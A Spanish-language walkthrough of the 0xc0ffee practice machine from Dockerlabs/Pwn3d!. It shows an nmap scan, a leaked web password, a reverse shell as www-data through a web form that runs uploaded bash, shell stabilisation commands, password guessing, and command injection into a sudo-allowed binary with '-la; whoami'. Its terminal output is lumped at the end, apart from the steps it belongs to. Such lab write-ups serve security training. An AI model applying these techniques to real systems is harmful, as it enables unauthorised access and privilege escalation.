Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip0xc0ffee.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_run.sh0xc0ffee.tar
Info:
██████╗ ██╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗
██╔══██╗██║ ██║████╗ ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║ ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║ ██║╚═╝
██║ ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝
==
@+:@ @##@
@++:-----+@ @@#+:----:+#
#-+-----:+:---------:
*::-----++-----::::#
::------+:--------:
#-+------+:-::-----#@
*::+=@@#++-------::@
@+= @++::+#@@@#*#
#-@
*+#++@
+-:::+-@
:-:+:::+
@+::*::::
*::++-::*
=:--:-:++ @-#
#*:---:--++@ @@
@::-:--++*
@::-:++#
*++*
:: Plataforma de máquinas vulnerables ::
:: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ FLAG{Pwn3d!_is_awesome!} █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
[✔] bc ya está instalado.
[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual
[✔] Activando máquina virtual
[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos que hay una pagina web y despues un servidor de python3 abierto en el puerto 7777, si vamos al servidor de python3 veremos muchos archivos pero entre ellos una carpeta llamada secret que si entramos en ella, veremos un archivo llamado history.txt y contiene lo siguiente.
Vemos que se repite varias veces la palabra super_secure_password y si nos vamos a la pagina web del puerto 80 vemos que tenemos que meter una palabra, por lo que probaremos con esa.
Si la metemos veremos que es la correcta y nos redirigira a otra pagina web en la que podemos crear una configuracion del sistema y despues mas abajo como ejecutarla por asi decirlo.
Segunda pagina de configuracion
Si probamos a poner como nombre en la seccion Configuration Identifier por ejemplo test1.sh
Y en su contenido le metemos:
Le daremos al boton de Apply Configuration y veremos que se nos creo un archivo con ese contenido, por que si nos vamos al servidor de python3 veremos que el archivo esta ahi subido y con el contenido que le metimos, ahora si vamos a ejecutar esa "configuracion" en la opcion de abajo llamada Execute Remote Configuration ponemos el nombre del archivo test1.sh y le damos al boton Fetch Configuration, por lo que vemos que nos ejecuto correctamente e interpreta codigo bash, por lo que haremos lo siguiente.
Reverse Shell
Crearemos un archivo de la misma forma llamado shell.sh y con el siguiente contenido:
Info:
Le damos al boton de Apply Configuration y ahora veremos que se creo correctamente, por lo que seguidamente antes de ejecutarlo en la opcion de abajo estaremos a la escucha.
Y nos vamos a la pagina web, en la opcion de Execute Remote Configuration ponemos el nombre del archivo en mi caso shell.sh y le damos al boton Fetch Configuration, ahora si nos vamos a donde teniamos la escucha veremos que se nos creo una shell con el usuario www-data.
Info:
Ahora sanitizaremos la shell (TTY):
Escalate user codebad
Si nos vamos a la /home del usuario codebad veremos los siguiente.
Si nos metemos en la carpeta secret/ veremos un archivo llamado adivina.txt que dice lo siguiente.
La respuesta a esta adivinanza es la palabra malware por lo que posiblemente sea la contraseña del usuario codebad.
Y si metemos como contraseña la palabra malware veremos que es su contraseña y ya seremos dicho usuario.
Escalate user metadata
Si hacemos sudo -l veremos lo siguiente.
Vemos que podemos ejecutar como metadata el binario code, por lo que haremos lo siguiente.
Info:
Vemos que necesita un input por lo que le pondremos algo.
Info:
Vemos que por detras se esta ejecutando un ls, probaremos a poner -la.
Info:
Vemos que funciona, por lo que intentaremos concatenar comandos a ver si funciona.
Info:
Vemos que funciona por lo que obtendremos una shell del usuario metadata de la siguiente forma.
Y si ahora hacemos whoami.
Veremos que somos el usuario metadata por lo que leeremos la flag.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos que necesitaremos una contraseña, por lo que buscaremos a ver donde puede haber alguna pista.
Si vamos a /usr/local/bin veremos un binario llamado metadatosmalos con un contenido que no importa mucho y los permisos normales, por lo que probaremos a meter como contraseña el nombre del binario.
Metemos como contraseña metadatosmalos y veremos que funciona.
Vemos que podemos ejecutar como root el binario c89 por lo que haremos lo siguiente.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 07:51 EDT
Nmap scan report for 172.20.0.2
Host is up (0.000031s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Security Verification Tool
7777/tcp open http SimpleHTTPServer 0.6 (Python 3.12.3)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.3
MAC Address: 02:42:AC:14:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.48 seconds
connect to [192.168.5.145] from (UNKNOWN) [172.20.0.2] 54068
sh: 0: can't access tty; job control turned off
$
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
total 44
drwxr-xr-x 3 codebad codebad 4096 Aug 29 13:22 .
drwxr-xr-x 1 root root 4096 Aug 29 11:41 ..
-rw------- 1 codebad codebad 5 Aug 29 13:22 .bash_history
-rw-r--r-- 1 codebad codebad 220 Aug 29 11:39 .bash_logout
-rw-r--r-- 1 codebad codebad 3771 Aug 29 11:39 .bashrc
-rw-r--r-- 1 codebad codebad 807 Aug 29 11:39 .profile
-rwxr-xr-x 1 metadata metadata 16176 Aug 29 12:16 code
drwxr-xr-x 2 root root 4096 Aug 29 11:49 secret
Adivinanza
En el mundo digital, donde la protección es vital,
existe algo peligroso que debes evitar.
No es un virus común ni un simple error,
sino algo más sutil que trabaja con ardor.
Es el arte de lo malo, en el software es su reino,
se oculta y se disfraza, su propósito es el mismo.
No es virus, ni gusano, pero se comporta igual,
toma su nombre de algo que no es nada normal.
¿Qué soy?
su codebad
Matching Defaults entries for codebad on a6c7dc66c5c1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User codebad may run the following commands on a6c7dc66c5c1:
(metadata : metadata) NOPASSWD: /home/codebad/code
sudo -u metadata /home/codebad/code
Usage: /home/codebad/code <options>
sudo -u metadata /home/codebad/code 'hola'
/bin/ls: cannot access 'hola': No such file or directory
sudo -u metadata /home/codebad/code '-la'
total 44
drwxr-xr-x 3 codebad codebad 4096 Aug 29 13:22 .
drwxr-xr-x 1 root root 4096 Aug 29 11:41 ..
-rw------- 1 codebad codebad 5 Aug 29 13:22 .bash_history
-rw-r--r-- 1 codebad codebad 220 Aug 29 11:39 .bash_logout
-rw-r--r-- 1 codebad codebad 3771 Aug 29 11:39 .bashrc
-rw-r--r-- 1 codebad codebad 807 Aug 29 11:39 .profile
-rwxr-xr-x 1 metadata metadata 16176 Aug 29 12:16 code
drwxr-xr-x 2 root root 4096 Aug 29 11:49 secret
sudo -u metadata /home/codebad/code '-la; whoami'
total 44
drwxr-xr-x 3 codebad codebad 4096 Aug 29 13:22 .
drwxr-xr-x 1 root root 4096 Aug 29 11:41 ..
-rw------- 1 codebad codebad 5 Aug 29 13:22 .bash_history
-rw-r--r-- 1 codebad codebad 220 Aug 29 11:39 .bash_logout
-rw-r--r-- 1 codebad codebad 3771 Aug 29 11:39 .bashrc
-rw-r--r-- 1 codebad codebad 807 Aug 29 11:39 .profile
-rwxr-xr-x 1 metadata metadata 16176 Aug 29 12:16 code
drwxr-xr-x 2 root root 4096 Aug 29 11:49 secret
metadata
Matching Defaults entries for metadata on a6c7dc66c5c1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User metadata may run the following commands on a6c7dc66c5c1:
(ALL : ALL) /usr/bin/c89